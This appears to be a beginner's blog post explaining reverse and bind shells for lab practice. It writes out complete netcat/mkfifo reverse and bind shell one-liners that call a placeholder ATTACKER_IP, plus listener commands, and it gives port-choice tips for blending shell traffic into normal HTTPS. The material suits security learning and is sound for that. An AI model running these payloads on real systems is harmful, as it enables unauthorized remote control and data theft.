Post cover image

September 3, 2026

Reverse Shells Are Backwards On Purpose

Attackers rarely connect to a hacked machine, the hacked machine connects to them instead

By Awaisavd

3 min read

Attackers rarely connect to a hacked machine, the hacked machine connects to them instead

The first time I saw nc -lvnp 443in a tryhackme walkthrough, I copy-pasted it without knowing what really happens behind commands. I just felt good knowing about the parameters of commands and their workings, while I had no clue why I was listening on the attackers machine, why & how it'll benefit me.

Found out that firewalls block inbound (incoming) connections, but they rarely block outbound (outgoing) ones. The target machine can't reach me directly, but it can call out to me. So I don't connect to it, it connects to me.

That backwards connection direction is not an accident. It is the entire point. Once you understand why, every "reverse shell one-liner" you copy from a cheat sheet stops looking like magic and starts looking like a pattern you can read (which can be enhanced by practice).

What Is a Shell in Cybersecurity?

A shell is software that lets you talk to an operating system, usually through a command-line interface.

In security, "getting a shell" means gaining a live command-line session on a machine that is not yours, usually through some exploited vulnerability. Once you have that shell, you can:

  • Take remote control of the system
  • Escalate privileges
  • Exfiltrate data
  • Set up persistence (a backdoor for access later)
  • Run post-exploitation activity
  • Pivot to other machines on the network

A shell on one box is often the starting point, which can lead to many things.

None

Why Reverse Shells Beat(>) Bind Shells

A reverse shell is backwards by design: the victim's machine initiates the connection back to the attacker.

Most firewalls lock down inbound connections tightly but leave outbound connections far looser. A reverse shell abuses that gap directly.

Attackers also pick outbound ports that look ordinary to blend in like: 53, 80, 443, 8080. An outbound connection on 443 looks like normal HTTPS browsing, not a live shell session which it can be.

Step 1: Set Up Your Listener

Before the victim calls back, you need to be listening:

nc -lvnp 443
  • nc: Netcat
  • -l: listen mode
  • -v: verbose output
  • -n: skip DNS resolution, use raw IPs
  • -p: the port to listen on

Step 2: Trigger the Payload

The target needs to run a command that connects back to you, usually through an exploited vulnerability like a file upload flaw or command injection.

Here is a classic pipe reverse shell payload:

rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i 2>&1 | nc ATTACKER_IP ATTACKER_PORT >/tmp/f

Now this might look complicated at first, so let's break it apart piece by piece:

  • rm -f /tmp/f : delete any leftover pipe file from a previous attempt
  • mkfifo /tmp/f : create a named pipe (FIFO), a special file that carries data both ways
  • cat /tmp/f : read whatever gets written into the pipe
  • | sh -i 2>&1 : pipe that into an interactive shell, redirecting errors to the same output
  • | nc ATTACKER_IP ATTACKER_PORT : send the shell's output to your listening Netcat session
  • >/tmp/f : feed Netcat's response back into the pipe, closing the loop

In simple words the commands you send flow into the shell, execute, and the output flows back to you, on repeat.

Step 3: You Have a Shell

Your listener catches the incoming connection, and you get an interactive terminal on the target machine.

Bind Shells: The Opposite Model

A bind shell flips the direction again. The victim's machine opens a port and waits for you to connect in.

This is easier to detect. An open, listening port is exactly what firewalls and monitoring tools flag by default. That is why bind shells show up more in lab environments than real-world attacks against defended networks.

Step 1: Target Opens a Listener

rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | bash -i 2>&1 | nc -l 0.0.0.0 8080 > /tmp/f

Same FIFO trick as before, except nc -l 0.0.0.0 8080 opens port 8080 on every network interface and waits.

Step 2: Attacker Connects In

nc -nv TARGET_IP 8080
  • nc : netcat tool
  • -n : skip DNS resolution
  • -v : verbose connection status

Same result: an interactive shell on the target.

Better Listener Tools Than Plain Netcat

Rlwrap adds command history and arrow-key editing to a Netcat session:

rlwrap nc -lvnp 443

Ncat, Netcat's modern sibling from the Nmap project, supports SSL encryption:

ncat -ssl -lvnp 4444

Socat connects almost any two data sources or hosts:

socat -d -d TCP-LISTEN:443 STDOUT

The Pattern That Ties It All Together

Reverse shells dominate real attacks because they slip past standard firewall rules. Bind shells are simpler to set up but far easier to spot.

Once you recognize the FIFO pattern, clean up, create a pipe, feed it into a shell, route through the network, loop back, every one-liner you see afterward reads the same way. Good luck practicing it.

Thanks for reading

Visit me digitally on: Github: https://github.com/awais-sec LinkedIn: https://www.linkedin.com/in/awais-sec/